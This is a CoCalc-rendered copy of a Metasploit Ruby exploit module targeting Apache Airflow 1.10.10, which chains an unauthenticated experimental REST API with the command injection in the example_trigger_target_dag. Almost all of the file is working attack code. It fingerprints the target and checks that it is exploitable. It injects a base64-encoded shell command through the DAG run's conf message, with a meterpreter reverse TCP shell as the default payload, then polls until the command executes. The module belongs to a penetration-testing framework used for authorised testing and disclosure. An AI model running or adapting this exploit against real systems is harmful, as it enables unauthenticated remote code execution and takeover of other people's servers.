CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_airflow_dag_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',
18
'Description' => %q{
19
This module exploits an unauthenticated command injection vulnerability
20
by combining two critical vulnerabilities in Apache Airflow 1.10.10.
21
The first, CVE-2020-11978, is an authenticated command injection vulnerability
22
found in one of Airflow's example DAGs, "example_trigger_target_dag", which
23
allows any authenticated user to run arbitrary OS commands as the user
24
running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default
25
setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's
26
Experimental REST API to perform malicious actions such as creating the
27
vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation
28
and command injection, leading to unauthenticated remote code execution.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'xuxiang', # Original discovery and CVE submission
33
'Pepe Berba', # ExploitDB author
34
'Ismail E. Dawoodjee' # Metasploit module author
35
],
36
'References' => [
37
[ 'EDB', '49927' ],
38
[ 'CVE', '2020-11978' ],
39
[ 'CVE', '2020-13927' ],
40
[ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],
41
[ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],
42
[ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],
43
],
44
'Platform' => ['linux', 'unix'],
45
'Arch' => ARCH_CMD,
46
'Targets' => [
47
[
48
'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }
49
],
50
],
51
'Privileged' => false,
52
'DisclosureDate' => '2020-07-14',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Stability' => [CRASH_SAFE],
56
'Reliability' => [REPEATABLE_SESSION],
57
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
58
}
59
)
60
)
61
register_options(
62
[
63
Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),
64
OptString.new('TARGETURI', [ true, 'Base path', '/' ]),
65
OptString.new('DAG_PATH', [
66
true,
67
'Path to vulnerable example DAG',
68
'/api/experimental/dags/example_trigger_target_dag'
69
]),
70
OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])
71
]
72
)
73
end
74
75
def check
76
uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')
77
vprint_status("Checking target web server for a response at: #{full_uri(uri)}")
78
res = send_request_cgi({
79
'method' => 'GET',
80
'uri' => uri
81
})
82
83
unless res
84
return CheckCode::Unknown('Target did not respond to check request.')
85
end
86
87
unless res.code == 200 &&
88
res.body.downcase.include?('admin') &&
89
res.body.downcase.include?('_csrf_token') &&
90
res.body.downcase.include?('sign in to airflow')
91
return CheckCode::Unknown('Target is not running Apache Airflow.')
92
end
93
94
vprint_good('Target is running Apache Airflow.')
95
96
vprint_status('Checking Apache Airflow version...')
97
version_number = res.body.to_s.scan(
98
%r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}
99
).flatten.first
100
101
unless version_number
102
return CheckCode::Detected('Apache Airflow version cannot be determined.')
103
end
104
105
unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')
106
return CheckCode::Safe
107
end
108
109
vprint_status(
110
"Target is running Apache Airflow Version #{version_number}. " \
111
'Performing additional checks for exploitability...'
112
)
113
114
check_api
115
check_task
116
check_unpaused
117
118
return CheckCode::Appears
119
end
120
121
def check_api
122
uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')
123
vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")
124
res = send_request_cgi({
125
'method' => 'GET',
126
'uri' => uri
127
})
128
129
unless res && res.code == 200
130
return CheckCode::Safe('Could not access the Airflow Experimental REST API.')
131
end
132
133
vprint_good('Airflow Experimental REST API is accessible.')
134
end
135
136
def check_task
137
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')
138
vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')
139
res = send_request_cgi({
140
'method' => 'GET',
141
'uri' => uri
142
})
143
144
unless res && res.code == 200
145
return CheckCode::Safe(
146
'Could not find "example_trigger_target_dag.bash_task". ' \
147
'Target is not vulnerable to CVE-2020-11978.'
148
)
149
end
150
151
if res.get_json_document['env'].include?('dag_run')
152
return CheckCode::Safe(
153
'The "example_trigger_target_dag.bash_task" is patched. ' \
154
'Target is not vulnerable to CVE-2020-11978.'
155
)
156
end
157
158
vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')
159
end
160
161
def check_unpaused
162
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')
163
vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')
164
res = send_request_cgi({
165
'method' => 'GET',
166
'uri' => uri
167
})
168
169
unless res && res.code == 200
170
return CheckCode::Safe(
171
'Could not unpause "example_trigger_target_dag.bash_task". ' \
172
'Example DAGs were not loaded.'
173
)
174
end
175
176
vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')
177
end
178
179
def create_dag(cmd)
180
cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"
181
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')
182
vprint_status('Creating a new vulnerable DAG...')
183
res = send_request_cgi({
184
'method' => 'POST',
185
'uri' => uri,
186
'ctype' => 'application/json',
187
'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })
188
})
189
190
unless res && res.code == 200
191
fail_with(Failure::PayloadFailed, 'Failed to create DAG.')
192
end
193
194
print_good("Successfully created DAG: #{res.get_json_document['message']}")
195
return res.get_json_document['execution_date']
196
end
197
198
def await_execution(execution_date)
199
uri = normalize_uri(
200
target_uri.path,
201
datastore['DAG_PATH'],
202
'dag_runs', execution_date, 'tasks', 'bash_task'
203
)
204
print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')
205
vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')
206
207
i = 0
208
loop do
209
i += 1
210
sleep(10)
211
res = send_request_cgi({
212
'method' => 'GET',
213
'uri' => uri
214
})
215
216
unless res && res.code == 200
217
fail_with(Failure::Unknown, 'Bash task state cannot be determined.')
218
end
219
220
state = res.get_json_document['state']
221
if state == 'queued'
222
print_status('Bash task is queued...')
223
elsif state == 'running'
224
print_good('Bash task is running. Expect a session if executed successfully.')
225
break
226
elsif state == 'success'
227
print_good('Successfully ran Bash task. Expect a session soon.')
228
break
229
elsif state == 'None'
230
print_warning('Bash task is not yet queued...')
231
elsif state == 'scheduled'
232
print_status('Bash task is scheduled...')
233
else
234
print_status("Bash task state: #{state}.")
235
break
236
end
237
# stop loop when timeout
238
next unless datastore['TIMEOUT'] <= 10 * i
239
240
fail_with(Failure::TimeoutExpired,
241
'Bash task did not run within the specified time ' \
242
"- #{datastore['TIMEOUT']} seconds.")
243
end
244
end
245
246
def exploit
247
print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")
248
execution_date = create_dag(payload.encoded)
249
await_execution(execution_date)
250
end
251
end
252
253